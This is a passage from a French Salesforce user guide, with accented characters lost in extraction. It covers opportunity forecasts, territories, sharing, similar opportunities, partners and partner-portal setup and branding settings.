les prvisions personnalisables. Elle rpertorie les remplacements des prvisions pour l'opportunit slectionne. Un remplacement
de prvision est un montant reprsentant prcisment vos prvisions de vente.
1. Dans la liste associe Prvisions des opportunits, affichez l'instantan des remplacements de l'opportunit.
2. Cliquez sur Modifier pour modifier les remplacements. Pour obtenir des instructions sur le remplacement des montants
de prvision des opportunits, reportez-vous Remplacement des prvisions personnalisables la page 1451.

Opportunits

Guide de l'utilisateur | Affichage et modification des opportunits | 1564

3. Si l'organisation utilise la gestion des territoires, le territoire auquel est attribue l'opportunit apparat dans la liste droulante
Territoire.
Si vous tes responsable de prvision de plusieurs territoires, la liste droulante affiche les territoires partir desquels vous
pouvez remplacer l'opportunit. Slectionnez une valeur et cliquez sur Modifier pour remplacer l'opportunit dans le
territoire souhait.

Voir aussi :
Prsentation des prvisions personnalisables
Gestion des prvisions personnalisables
Affichage et modification des opportunits
Prsentation de la gestion des territoires

Modification du territoire d'une opportunit

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier le territoire d'une opportunit :

Autorisation de modification sur les opportunits

Si vous disposez d'une autorisation de modification sur une opportunit, vous avez la possibilit de modifier le territoire associ :
1. Dans la page de dtails de l'opportunit, cliquez sur Changer en regard du champ Territoire.
2. Slectionnez un territoire dans la liste droulante Territoire de l'opportunit.
La liste droulante contient :

Les territoires o le responsable de l'opportunit et le compte de l'opportunit sont attribus au territoire.

Les territoires pour lesquels vous possdez un accs administratif et qui sont galement associs au compte de
l'opportunit.
Les territoires pour lesquels vous possdez un accs administratif et qui se trouvent au-dessus du compte de l'opportunit
dans la hirarchie des territoires.

3. Cliquez sur Enregistrer pour terminer l'opration et revenir la page des dtails de l'opportunit.

Voir aussi :
Affichage et modification des opportunits
Prsentation de la gestion des territoires
FAQ : Gestion des Territoires

Opportunits

Guide de l'utilisateur | Partage des opportunits | 1565

Partage des opportunits

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

L'administrateur dfinit le modle de partage, ainsi que les niveaux d'accs par dfaut aux opportunits des territoires de
l'organisation. Vous pouvez toutefois tendre les privilges de partage des opportunits de manire individuelle. Le partage
d'opportunits vous permet d'augmenter l'accs vos opportunits ; vous ne pouvez pas restreindre l'accs en de des niveaux
d'accs par dfaut de votre entreprise.
Pour afficher et grer les dtails du partage, cliquez sur Partage dans la page de dtails de l'opportunit. Cette page rpertorie
les utilisateurs, les groupes, les rles et les territoires qui disposent d'un accs partag l'opportunit. Cette page permet
d'effectuer les oprations suivantes :

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Ajouter pour accorder un accs l'enregistrement aux autres utilisateurs, groupes, rles ou territoires.
Remarque: Pour partager une opportunit avec un autre utilisateur, ce dernier doit disposer de l'autorisation Lire
dans les opportunits.

Cliquez sur Dvelopper la liste pour afficher tous les utilisateurs qui disposent de l'accs l'enregistrement.
Pour les rgles de partage manuelles que vous crez, cliquez sur Modifier ou Suppr en regard d'un lment de la liste afin
de modifier ou de supprimer le niveau d'accs.

Voir aussi :
Partage de comptes
Prsentation de la gestion des territoires
Octroi d'accs aux enregistrements
Affichage des utilisateurs bnficiant de droits d'accs

Recherche d'opportunits similaires

Disponible avec : Enterprise Edition, Unlimited Edition, Developer Edition

Autorisations utilisateur requises

Pour afficher et rechercher des opportunits similaires :

Lecture des opportunits

La liste associe Opportunits similaires dans la page de dtails de l'opportunit affiche les autres opportunits qui partagent
un ou plusieurs attributs au sein de votre organisation. Par exemple, vous pouvez placer un signet sur des opportunits passes
avec un mme client, puis consulter ultrieurement les notes et demander conseil au commercial si ncessaire.

Opportunits

Guide de l'utilisateur | Recherche d'opportunits similaires | 1566

Pour afficher une opportunit, cliquez sur son nom. Vous pouvez visualiser les dtails des opportunits auxquelles vous
avez accs en Lecture.
Pour supprimer une opportunit de la liste associe Opportunits similaires, cliquez sur le lien Suppr en regard de
l'opportunit approprie.
Pour rechercher d'autres opportunits et leur ajouter un signet, cliquez sur Rechercher.

L'affichage des opportunits dans les rsultats de recherche est dfini par l'administrateur qui choisit les champs de
correspondance. Les rsultats de recherche incluent uniquement les opportunits qui contiennent une tape Close Gagne.
Les rsultats sont classs par opportunit contenant le plus grand nombre de champs de correspondance.
Remarque: Lors de la recherche d'opportunits similaires, Salesforce.com peut analyser jusqu' 10 000 opportunits
Close Gagne au cours des trois derniers mois et renvoie au maximum les 300 opportunits les plus pertinentes.

Utilisez la liste droulante Date de clture durant pour filtrer les opportunits correspondantes selon leur date de
clture. Le paramtre par dfaut affiche les opportunits durant les trois derniers mois.
Dans le menu latral Critres de correspondance, slectionnez un ou plusieurs champs de correspondance pour affiner le
filtrage des rsultats. Par exemple, la slection d'un compte spcifique ou d'un concurrent primaire permet d'affiner le
contenu de la liste droulante aux opportunits du compte slectionn ou qui contiennent le concurrent primaire slectionn.
Dsactivez les champs pour revenir aux rsultats d'origine.
Survolez le nom d'une opportunit pour afficher les critres auxquels correspond l'opportunit. Les attributs correspondants
sont slectionns dans le menu latral Critres de correspondance.
Cliquez sur le lien du nom d'une opportunit pour afficher les dtails. Vous pouvez visualiser les dtails des opportunits
auxquelles vous avez accs en Lecture.
Cliquez sur la liste droulante
en bas gauche de la page pour modifier le nombre d'enregistrements affichs. Par
dfaut, une page affiche 25 enregistrements.
Cliquez sur les flches Prcdent ou Suivant pour naviguer entre les pages. Pour aller une page spcifique, tapez son
numro dans le champ Page en bas droite de l'cran.

Ajout d'un signet aux opportunits similaires

Vous pouvez ajouter un signet aux opportunits que vous souhaitez rfrencer en travaillant sur une affaire. Ces opportunits
sont enregistres dans la liste associe Opportunits similaires.
1. Slectionnez les opportunits appropries. Pour slectionnez toutes les opportunits de la page, cochez la case de la ligne
d'en-tte.
2. Cliquez sur Signet.
Vous pouvez tout moment rechercher des opportunits et leur ajouter un signet en cliquant sur Rechercher dans la liste
associe Opportunits similaires.

Voir aussi :
Activation des opportunits similaires

Partenaires
Affichage et ajout de partenaires
Disponible avec : Toutes les Editions inscrites avant la version Summer '09 de juin 2009
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inscrites pendant ou aprs la version Summer '09 de juin 2009

Autorisations utilisateur requises

Pour ajouter des partenaires un compte :

Autorisation de modification sur les comptes

Pour associer des produits une opportunit :

Autorisation de lecture sur les comptes

AND
Autorisation de modification sur les opportunits

Les pages de dtails d'opportunit et de compte comprennent des listes associes aux partenaires qui permettent l'affichage et
l'ajout de relations avec les partenaires.

Pour afficher des informations de compte pour un partenaire spcifique, cliquez sur le nom de ce dernier dans les lments
associs aux partenaires.
Cliquez sur Suppr en regard des entres de ce partenaire pour supprimer cette relation.
Pour ajouter un partenaire une opportunit ou un compte :
1. Cliquez sur Nouveau dans la liste associe aux partenaires.
2. Le cas chant, pour les opportunits seulement, slectionnez l'option Principal afin d'indiquer le partenaire principal
pour cette opportunit.
Il ne peut y avoir qu'un seul partenaire principal par opportunit. Lorsque vous dfinissez un nouveau partenaire principal,
tout autre partenaire principal perd automatiquement son statut de Principal.
L'octroi un partenaire du statut de Principal vous permet d'inclure ce partenaire dans tous les rapports d'opportunits.
Reportez-vous Cration de rapports sur les partenaires la page 1568.
3. Entrez le nom d'un compte existant dans la colonne Partenaire ou cliquez sur l'icne de recherche pour rechercher
un compte. Une autre possibilit consiste cliquer sur New dans la bote de dialogue de recherche pour crer un compte.
4. Dans la colonne Rle, choisissez le rle jou par le compte partenaire dans le compte ou l'opportunit en cours.
Remarque:
La slection d'un partenaire sur un compte ou une opportunit cre automatiquement une relation partenaire oppose,
si bien que les deux comptes concerns indiquent l'autre comme partenaire. Le rle que vous slectionnez est appliqu
au compte partenaire et le rle oppos est appliqu au compte actuel.
Il appartient l'administrateur de dfinir les rles et les rles opposs via la liste de slection Rle du partenaire.
Reportez-vous Mise jour des listes de slection la page 375.

Partenaires

Guide de l'utilisateur | Cration de rapports sur les partenaires | 1568

Votre administrateur a la possibilit de personnaliser les colonnes affiches dans la liste associe en modifiant la
prsentation de page. Pour plus d'informations, reportez-vous Personnalisation des prsentations de page la page
546.

Voir aussi :
Cration de rapports sur les partenaires

Cration de rapports sur les partenaires

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des rapports sur les partenaires :

Autorisation de lecture sur les comptes ou les opportunits

AND
Excution des rapports

Pour crer des rapports sur toutes les relations ou sur les relations principales dans les opportunits :
1. Dans l'onglet Rapport, choisissez Rapport sur le partenaire de l'opportunit.
2. Choisissez Personnaliser pour modifier le rapport et n'afficher que les relations avec les partenaires principaux. Indiquez
Principal gal 1 comme critre de recherche la dernire page de l'assistant de rapport personnalis.
Lorsque vous personnalisez tout autre rapport d'opportunit pour qu'il affiche la colonne Partenaire, seul le partenaire principal
est affich.
Vous pouvez galement excuter le rapport Comptes partenaires afin d'analyser les partenariats en vigueur pour vos comptes.

Voir aussi :
Personnalisation des rapports
Affichage et ajout de partenaires

Portail partenaire
Prsentation du portail partenaire
Disponible avec : Enterprise Edition et Unlimited Edition

La gestion des relations partenaires (PRM) permet aux socits qui vendent leurs produits ou services par l'intermdiaire de
canaux de distribution indirects d'obtenir un retour maximal sur leurs investissements et d'augmenter les chiffres d'affaires de
leurs canaux. Avec la gestion des relations partenaires, elles peuvent grer, suivre et prvoir les activits de leurs canaux et leurs
ventes directes en parallle. Les partenaires vendent galement de manire plus efficace, concluent davantage d'affaires et
augmentent leurs marges.
Permettre vos partenaires d'exploiter vos donnes Salesforce.com peut vous aider optimiser vos ventes, sans frais
supplmentaires. Il est toutefois prfrable que vous contrliez l'accs de vos partenaires vos informations et qu'ils travaillent
dans une application conforme votre stratgie de marque. Pour cela, accordez vos partenaires l'accs un portail partenaire
Salesforce.com.
Un portail permet aux utilisateurs partenaires de se connecter Salesforce.com partir d'un site Web diffrent que les utilisateurs
non partenaires. Les utilisateurs partenaires peuvent seulement consulter les donnes mises leur disposition uniquement. Par
ailleurs, les utilisateurs partenaires peuvent manipuler des donnes uniquement si vous leur accordez les autorisations appropries.
Salesforce.com propose les fonctionnalits critiques suivantes pour grer les relations partenaires :
Comptes partenaires
Les comptes partenaires sont des comptes qu'un responsable de canaux utilise pour grer les entreprises partenaires, les
utilisateurs partenaires et les activits.
Utilisateurs partenaires
Les utilisateurs partenaires sont des utilisateurs de Salesforce.com dots de capacits limites. Ils sont associs un compte
partenaire donn, ont un accs limit aux donnes de votre entreprise et se connectent via un portail Partenaire.
Il existe trois types de licence disponibles pour les utilisateurs partenaires : Partenaire bronze (de base), partenaire argent
(standard) et partenaire or (stratgique). Le type de licence dtermine le volume de stockage supplmentaire de l'entreprise
par licence, de mme que les fonctionnalits auxquelles l'utilisateur partenaire a accs sur le portail.
Important: La licence Bronze Partner ne peut plus tre achete aprs juillet 2008. Les licences Bronze Partner
achetes avant juillet 2008 sont toujours prises en charge.

Type de licence Partenaire Type de licence Partenaire Type de licence Partenaire

bronze (nouvelles licences argent
or
non disponibles aprs
juillet 2008)
Volume de stockage par
licence

Aucune

2 Mo de stockage de
donnes par utilisateur

5 Mo de stockage de
donnes par utilisateur

Documents

Oui

Oui

Oui

Profil Mon compte

Oui

Oui

Oui

Portail partenaire

Guide de l'utilisateur | Prsentation du portail partenaire | 1570

Type de licence Partenaire Type de licence Partenaire Type de licence Partenaire

bronze (nouvelles licences argent
or
non disponibles aprs
juillet 2008)
Pistes

Non

Oui

Oui

Objets personnaliss

Non

Oui

Oui

Approbations

Non

Oui

Oui

Compte

Non

Non

Oui

Opportunits

Non

Non

Oui

Salesforce CRM Content

(lecture seule)

Non

Oui

Oui

Rapports

Non

Oui (lecture seule)

Oui

Administration dlgue des Non

utilisateurs du portail

Non

Oui

Envoyer par e-mail

Non

Oui

Oui

Requtes

Non

Non

Oui

Certains utilisateurs de votre entreprise ont peut-tre une licence Partenaire qui n'est plus disponible auprs de
salesforce.com. La licence Partenaire possde toutes les fonctionnalits du type de licence Partenaire Gold, mais comprend
une capacit de stockage par utilisateur de 4 Mo pour les donnes et 4 Mo pour les fichiers. Pour plus d'informations
sur les limites de stockage, reportez-vous Surveillance des ressources la page 218. Pour plus d'informations sur les
types de licence utilisateur, reportez-vous Affichage des types de licence utilisateur la page 150.
Responsables de canaux
Les responsables de canaux sont des utilisateurs internes chargs de grer les relations partenaires.
Portails partenaires
Les portails partenaires permettent aux utilisateurs partenaires de se connecter Salesforce.com par l'intermdiaire d'un
portail Web plutt que par salesforce.com. Vous pouvez personnaliser le portail Web afin d'afficher votre marque et le
configurer en fonction de vos besoins en matire de fonctionnalit et de scurit, notamment en activant la connexion
unique pour les portails et permettre ainsi vos partenaires d'utiliser un seul identifiant pour accder Salesforce.com.
Vous pouvez galement mettre en uvre plusieurs portails pour rpondre aux diffrents impratifs qu'implique la
collaboration avec des partenaires.
Remarque: La connexion unique est disponible uniquement pour les portails clients et les portails partenaires.

Voir aussi :
Configuration de votre portail partenaire
Meilleures pratiques du portail partenaire

Portail partenaire

Guide de l'utilisateur | Configuration de votre portail partenaire | 1571

Configuration de votre portail partenaire

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour configurer un portail partenaire :

Personnaliser l'application

Pour configurer votre portail partenaire :

1. Activer leportail partenaire.
2. Crer un ou plusieurs portails.
Pour chaque portail :
a. Configurer les paramtres et les modles de communication.
L'assistant Convertir laccs utilisateur au portail s'affiche automatiquement lors de l'enregistrement initial des paramtres
de votre premier portail, que ce soit le portail client ou le portail partenaire. Vous pouvez utiliser ce portail pour vous
assurer que les enregistrements et les dossiers dont les utilisateurs Salesforce.com sont responsables ne sont pas partags
avec des utilisateurs du portail.
b. Personnaliser les polices et les couleurs.
c. Personnaliser les onglets disponibles et leur ordre.
d. Configurer les langues du portail.
3. Vous pouvez galement activer Salesforce CRM Content.
4. Crer des profils de partenaire.
Pour chaque profil de partenaire :
a. Personnalisez les prsentations de page. Pour plus d'informations, reportez-vous Gestion des prsentations de page
la page 544.
b. Personnalisez les vues de liste. Pour plus d'informations, reportez-vous Cration de vues Listes personnalises la
page 1538.
Les utilisateurs du portail partenaire peuvent voir automatiquement n'importe quelle vue de liste avec les paramtres
de visibilit reprs par Cette vue est accessible tous les utilisateurs. Il est recommand de crer
des vues de liste spcifiques sur tous les objets accessibles aux utilisateurs du portail, puis de ne leur attribuer que celles
qu'ils doivent visualiser.
c. Personnalisez des prsentations de recherche. Pour plus d'informations, reportez-vous Personnalisation des prsentations
de recherche la page 572.
Les prsentations de la recherche dans votre organisation Salesforce.com sont identiques celles utilises dans votre
portail partenaire. Vrifiez que les prsentations de recherche sur les objets accessibles aux utilisateurs du portail n'incluent
que les champs qu'ils doivent voir dans les rsultats de recherche.
5. Attribuer des profils de partenaire des portails partenaires.
6. Activer la connexion chaque portail partenaire.
7. Crer des utilisateurs partenaires.

Portail partenaire

Guide de l'utilisateur | Paramtres des partenaires | 1572

Remarque:

Si vous avez achet ou activ PRM avant fvrier 2008, vous utilisez le Portail PRM, moins que vous n'ayez
explicitement migr vers le portail partenaire. Pour plus d'informations sur le portail PRM, reportez-vous
Prsentation de la gestion des relations partenaires la page 1612.

La connexion unique l'aide de SAML n'est pas active pour les portails.

Voir aussi :
Activation du portail partenaire
Cration de Portails partenaire
Configuration du portail partenaire
Meilleures pratiques du portail partenaire
Configuration de l'accs mobile pour les utilisateurs partenaires
Affectation d'vnements aux utilisateurs partenaires
Activation des e-mails dans le Portail partenaire
Activation de requtes dans le Portail partenaire

Paramtres des partenaires

Disponible avec : Enterprise Edition et Unlimited Edition

Salesforce.com propose deux portails diffrents pour vous aider mieux grer vos partenaires : portail partenaire et le portail
PRM.

Si vous avez achet ou activ PRM aprs fvrier 2008, vous utilisez le portail partenaire. Pour plus d'informations sur le
Portail partenaire, reportez-vous Configuration du portail partenaire la page 1571.

Si vous avez achet ou activ PRM avant fvrier 2008, vous utilisez le Portail PRM, moins que vous n'ayez explicitement
migr vers le portail partenaire. Pour plus d'informations sur le portail PRM, reportez-vous Prsentation de la gestion
des relations partenaires la page 1612.

Activation du portail partenaire

Disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour activer le portail partenaire :

Personnaliser l'application

Pour activer le portail partenaire :

1. Cliquez sur Configuration Personnalisation Partenaires Paramtres.

Portail partenaire

Guide de l'utilisateur | Activation du portail partenaire | 1573

2. Cliquez sur Modifier.

3. Cochez la case Activer le portail partenaire.
4. Cliquez sur Enregistrer.
Remarque:
Si vous avez achet ou activ PRM avant fvrier 2008, vous utilisez le Portail PRM, moins que vous n'ayez
explicitement migr vers le portail partenaire. Pour plus d'informations sur le portail PRM, reportez-vous Prsentation
de la gestion des relations partenaires la page 1612.
Une fois que vous avez activ le portail partenaire pour votre entreprise, vous pouvez crer un ou plusieurs portails partenaires
afin de rpondre aux besoins professionnels de vos clients. Pour crer des portails partenaires, consultez la rubrique Cration
de portails partenaires.
Remarque: Pour permettre aux utilisateurs du portail d'accder Salesforce CRM Content, reportez-vous Activation
de Salesforce CRM Content dans le Portail partenaire la page 1580.
Lorsque vous activez le portail partenaire, les lments suivants sont automatiquement ajouts votre entreprise :
Le profil de l'utilisateur partenaire.
Vous pouvez assigner des utilisateurs de portail partenaire des profils clons partir de ce profil. Pour chaque profil
clon, assurez-vous que l'autorisation administrative Utilisateur API uniquement n'est pas slectionne. Si elle
est slectionne, les utilisateurs associs au profil ne peuvent pas se connecter au portail partenaire.
Bouton Activer en tant que partenaire sur des enregistrements de compte.
Il vous permet de crer un compte partenaire. Reportez-vous Cration de comptes partenaires pour plus d'informations
concernant la cration de comptes partenaires.
Boutons Activer l'utilisateur du portail partenaire et Afficher l'utilisateur du portail partenaire sur les enregistrements
de contact.
Il vous permet de crer un nouvel utilisateur partenaire ou d'afficher des utilisateurs partenaires existants. Reportez-vous
Cration d'utilisateurs partenaires pour plus d'informations concernant la cration de comptes partenaires.
Groupes Tous les utilisateurs du portail partenaire et Tous les utilisateurs internes , et catgorie de rgles de
partage Rles et subordonns internes .
Le groupe Tous les utilisateurs du portail partenaire contient automatiquement tous les utilisateurs du portail partenaire
de votre organisation. Le groupe Tous les utilisateurs internes contient automatiquement tous les utilisateurs
Salesforce.com de votre organisation. La catgorie de rgles de partage Rles et subordonns permet de crer des
rgles de partage dans lesquelles vous pouvez choisir des utilisateurs Salesforce.com de votre organisation par rle, plus
tous les utilisateurs dans un rle infrieur, en excluant les rles du portail partenaire et du portail PRM. Vous pouvez
utiliser ces groupes et la catgorie de rgles de partage pour crer aisment des rgles de partage qui offrent tous vos
utilisateurs du portail partenaire ou de Salesforce.com un accs des donnes spcifiques.

Portail partenaire

Guide de l'utilisateur | Activation du portail partenaire | 1574

Remarque: Une fois que vous avez activ le portail partenaire, vous ne pouvez pas le dsactiver. Toutefois, vous pouvez
empcher les utilisateurs de se connecter votre portail partenaire. Pour plus d'informations, reportez-vous
Configuration du portail partenaire la page 1582.

Voir aussi :
Cration de Portails partenaire
Configuration du portail partenaire
A propos de la gestion de lutilisateur du portail partenaire
Meilleures pratiques du portail partenaire

Modles de communication par dfaut du portail partenaire

Disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour modifier des modles de communication par dfaut du Personnaliser l'application
portail partenaire :

Vous pouvez dfinir des modles de communication par dfaut pour vos portails partenaires. Les modles de communication
par dfaut serviront la communication avec le partenaire moins que vous n'ayez spcifi un portail particulier. De plus, si
un utilisateur partenaire est attribu plus d'un portail, les modles de communication par dfaut serviront lors de la
communication avec cet utilisateur.
Pour dfinir les modles de communication par dfaut pour votre portail partenaire :
1.
2.
3.
4.

Cliquez sur Configuration Personnalisation Partenaires Paramtres.

Cliquez sur Dfinir les modles d'e-mail par dfaut pour tous les portails
Cliquez sur Modifier.
Configurez les options suivantes :
Paramtres de notification de message
Paramtre

Description

partir de l'adresse e-mail

Adresse e-mail partir de laquelle tous les modles de

communication du portail partenaire sont envoys (par
exemple, support@acme.com ). Salesforce.com envoie les
e-mails automatiquement, mais ils s'affichent pour les
utilisateurs du portail comme s'ils taient envoys depuis
cette adresse e-mail. Si un utilisateur du portail rpond un
modle de communication, la rponse est envoye cette
adresse.

Portail partenaire

Guide de l'utilisateur | Cration de Portails partenaire | 1575

Paramtres de notification de message

Paramtre

Description

partir de l'adresse lectronique

Nom associ au champ Adresse e-mail De (par exemple,

Support partenaire Acme ).

Modle de nouvel utilisateur

Modle de message utilis pour l'envoi d'un nom d'utilisateur

et d'un mot de passe initial tous les nouveaux utilisateurs
du portail partenaire. Par dfaut, un exemple de modle est
automatiquement slectionn. Pour crer votre propre
modle ou modifier l'exemple, reportez-vous Gestion des
modles de message la page 76. Ce modle doit avoir
l'attribut Disponible.

Modle de nouveau mot de passe

Modle de message utilis pour l'envoi d'un nouveau mot

de passe aux utilisateurs actuels du portail partenaire lorsque
vous rinitialisez leur mot de passe.

Modle de mot de passe perdu

Modle d'e-mail utilis pour envoyer un nouveau mot de

passe aux utilisateurs actuels du portail partenaire lorsqu'ils
rinitialisent leur propre mot de passe en cliquant sur Vous
avez oubli votre mot de passe ? dans la page de connexion
du portail partenaire.

Remplacer le responsable par le modle des Modle d'e-mail permettant d'envoyer une notification aux
utilisateurs du portail
utilisateurs du portail partenaire lorsqu'ils deviennent les

nouveaux responsables d'un enregistrement du portail.

5. Cliquez sur Enregistrer.

Voir aussi :
Configuration de votre portail partenaire

Cration de Portails partenaire

Disponible dans : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer des portails partenaire :

Personnaliser l'application

Aprs avoir activ le portail partenaire Salesforce.com, vous pouvez crer des portails partenaire afin de rpondre aux besoins
professionnels de vos clients.
Pour crer un portail partenaire :

Portail partenaire

Guide de l'utilisateur | Cration de Portails partenaire | 1576

1. Cliquez sur Configuration Personnaliser Partenaires Paramtres.

2. Cliquez sur Nouveau.
3. Configurez les options suivantes :
Paramtre

Description

Nom

Nom du portail partenaire tel qu'il s'affiche dans les pages

de dtails et de modification du portail, ainsi que dans la
page de configuration du portail partenaire. Le nom du
portail partenaire ne s'affiche pas dans les pages du portail.
Il apparat en revanche dans la barre de titre du navigateur.
Le nom du portail doit tre unique pour votre organisation
et pas dj utilis dans le portail client ou le portail
partenaire. En outre, une erreur peut se produire si vous
nommez un portail client portail partenaire ou
inversement.

Description

Description du portail partenaire tel qu'il s'affiche dans les

pages de dtails et de modification du portail. La description
du portail partenaire ne s'affiche pas dans le portail.

Connexion active

Permet aux utilisateurs de se connecter au portail partenaire.

Nous recommandons de ne pas cocher cette case tant que le
portail n'est pas compltement configur.
Remarque: Lorsque vous activez le portail
partenaire, le portail par dfaut est configur comme
Connexion active.

Administrateur

Cliquez sur l'icne de recherche ( ) pour slectionner

l'administrateur par dfaut de votre portail partenaire. Toutes
les notifications par e-mail concernant votre portail
partenaire sont transmises cet utilisateur Salesforce.com.
Lors du choix d'un administrateur pour votre portail
partenaire, vous pouvez slectionner uniquement les
utilisateurs qui disposent de l'autorisation Grer les
partenaires et de l'accs au dossier Documents qui contient
l'En-tte de votre portail partenaire. Vous ne pouvez pas
dsactiver un utilisateur dsign comme administrateur du
portail. Pour plus d'informations, consultez la rubrique
Dsactivation des utilisateurs la page 97.

Paramtres par dfaut du portail

Paramtre

Description

URL de dconnexion

URL de la page Web qui s'affiche lorsque les utilisateurs se

dconnectent du portail partenaire (par exemple,

Portail partenaire

Guide de l'utilisateur | Cration de Portails partenaire | 1577

Paramtres par dfaut du portail

Paramtre

Description
http://www.acme.com ). Si une URL de dconnexion
n'est pas spcifie, les utilisateurs du portail reviennent la
page de connexion lorsqu'ils se dconnectent.

Afficher la confirmation d'action

Permet aux utilisateurs de visualiser des messages de

confirmation aprs avoir effectu une action sur le portail
partenaire. Par exemple, aprs avoir cr une piste sur votre
portail partenaire, l'utilisateur visualise le message suivant :
Une piste a t cree si le paramtre a t activ.
Les messages de confirmation peuvent aider les utilisateurs
bien comprendre les actions qu'ils ont effectues sur votre
portail partenaire.

Langue par dfaut des messages HTML

Spcifie la langue dans laquelle les messages HTML du

portail sont affichs lorsque la les messages HTML du portail
dans langue personnalise ne sont pas configurs. Cette
fonction est disponible uniquement pour les organisations
pour lesquelles plusieurs langues sont actives.

Paramtres de notification de message

Paramtre

Description

partir de l'adresse e-mail

Adresse e-mail partir de laquelle tous les modles de

communication du portail partenaire sont envoys (par
exemple, support@acme.com ). Salesforce.com envoie les
e-mails automatiquement, mais ils s'affichent pour les
utilisateurs du portail comme s'ils taient envoys depuis
cette adresse e-mail. Si un utilisateur du portail rpond un
modle de communication, la rponse est envoye cette
adresse.

partir de l'adresse lectronique

Nom associ au champ Adresse e-mail De (par exemple,

Support partenaire Acme ).

Modle de nouvel utilisateur

Modle de message utilis pour l'envoi d'un nom d'utilisateur

et d'un mot de passe initial tous les nouveaux utilisateurs
du portail partenaire. Par dfaut, un exemple de modle est
automatiquement slectionn. Pour crer votre propre
modle ou modifier l'exemple, reportez-vous Gestion des
modles de message la page 76. Ce modle doit avoir
l'attribut Disponible.

Modle de nouveau mot de passe

Modle de message utilis pour l'envoi d'un nouveau mot

de passe aux utilisateurs actuels du portail partenaire lorsque
vous rinitialisez leur mot de passe.

Portail partenaire

Guide de l'utilisateur | Cration de Portails partenaire | 1578

Paramtres de notification de message

Paramtre

Description

Modle de mot de passe perdu

Modle d'e-mail utilis pour envoyer un nouveau mot de

passe aux utilisateurs actuels du portail partenaire lorsqu'ils
rinitialisent leur propre mot de passe en cliquant sur Vous
avez oubli votre mot de passe ? dans la page de connexion
du portail partenaire.

Remplacer le responsable par le modle des Modle d'e-mail permettant d'envoyer une notification aux
utilisateurs du portail
utilisateurs du portail partenaire lorsqu'ils deviennent les

nouveaux responsables d'un enregistrement du portail.

Apparence
Paramtre

Description

En-tte

Fichier texte ou HTML vous permettant d'inclure

l'identification de la marque de votre entreprise dans l'
en-tte de votre portail partenaire. Cliquez sur l'icne de
recherche ( ) pour choisir un fichier tlcharg vers un
dossier accessible au public dans l'onglet Documents.
Les fichiers que vous incluez dans les champs de recherche
En-tte et Pied de page peuvent atteindre ensemble
une taille maximale de 10 Ko.
Nous vous conseillons de ne pas ajouter d'en-tte, ni de logo
votre portail car il est possible que leur affichage simultan
ne soit pas satisfaisant.
Vous pouvez positionner le lien Dconnexion n'importe o
dans l'en-tte grce la balise HTML : <a
href="/secur/logout.jsp">Dconnexion</a>.

Pied de page

Fichier texte ou HTML vous permettant d'inclure

l'identification de la marque de votre entreprise dans le pied
de page de votre portail partenaire. Cliquez sur l'icne de
recherche ( ) pour choisir un fichier tlcharg vers un
dossier accessible au public dans l'onglet Documents.
Les fichiers que vous incluez dans les champs de recherche
En-tte et Pied de page peuvent atteindre ensemble
une taille maximale de 10 Ko.

Logo

Fichier image (.jpg, .gif, .png) vous permettant d'inclure

l'identification de la marque de votre entreprise dans l'en-tte
situ dans la partie suprieure gauche de votre portail
partenaire. Cliquez sur l'icne de recherche ( ) pour choisir
un fichier tlcharg vers un dossier accessible au public dans

Portail partenaire

Guide de l'utilisateur | Cration de Portails partenaire | 1579

Apparence
Paramtre

Description
l'onglet Documents et signal comme tant une Image
accessible en externe.
La taille du fichier que vous incluez dans le champ de
recherche Logo peut atteindre 20 Ko.
Nous vous conseillons de ne pas ajouter d'en-tte, ni de logo
votre portail car il est possible que leur affichage simultan
ne soit pas satisfaisant.

Message de connexion

Fichier texte ou HTML vous permettant d'inclure

l'identification de la marque de votre entreprise dans l'en-tte
de la page de connexion, de la page Vous avez oubli votre
mot de passe et de la page Modifier le mot de passe de votre
portail partenaire. Cliquez sur l'icne de recherche ( ) pour
choisir un fichier tlcharg vers un dossier accessible au
public dans l'onglet Documents.
La taille du fichier que vous incluez dans le champ de
recherche Message de connexion peut atteindre 2 Ko.
Remarque: Les codes JavaScript et CSS sont
automatiquement supprims dans les fichiers HTML
utiliss comme messages de connexion au portail.

4. Cliquez sur Enregistrer.

Remarque: Pour plus d'informations sur le nombre de portails partenaires que vous pouvez activer pour votre entreprise,
contactez salesforce.com.

Voir aussi :
Configuration du portail partenaire
A propos de la gestion de lutilisateur du portail partenaire
Meilleures pratiques du portail partenaire
Configuration de l'accs mobile pour les utilisateurs partenaires

Portail partenaire

Guide de l'utilisateur | Activation de Salesforce CRM Content dans le portail partenaire | 1580

Activation de Salesforce CRM Content dans le portail

partenaire
Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour configurer et mettre jour le portail partenaire :

Personnaliser l'application

Pour crer et modifier des profils :

Grer les utilisateurs

Pour grer les utilisateurs du portail partenaire :

Grer les partenaires

Pour crer des autorisations Salesforce CRM Content sur

l'espace de travail :

Grer Salesforce CRM Content

OU
Grer les autorisations de contenu

Pour ajouter des utilisateurs un espace de travail Salesforce Grer Salesforce CRM Content
CRM Content :
OU
Grer l'espace de travail doit tre coch dans votre

dfinition de l'autorisation sur l'espace de travail

Salesforce CRM Content est disponible dans le portail partenaire. Deux niveaux d'accs Salesforce CRM Content peuvent
tre accords aux utilisateurs du portail partenaire :

Les utilisateurs du portail sans licence de fonctionnalit Salesforce CRM Content peuvent tlcharger, valuer, commenter
et s'abonner au contenu s'ils disposent de l'autorisation pour consulter le contenu des portails dans leur profil. Ils ne peuvent
pas consulter des donnes potentiellement sensibles telles que des noms d'utilisateur et l'historique des tlchargements,
des versions et des abonns. La fonctionnalit de livraison de contenu n'est pas disponible pour les utilisateurs du portail.
Les utilisateurs de portail disposant d'une licence de fonctionnalit Salesforce CRM Content peuvent accder toutes les
fonctions Salesforce CRM Content accordes par leurs autorisations sur l'espace de travail, y compris contribuer au contenu,
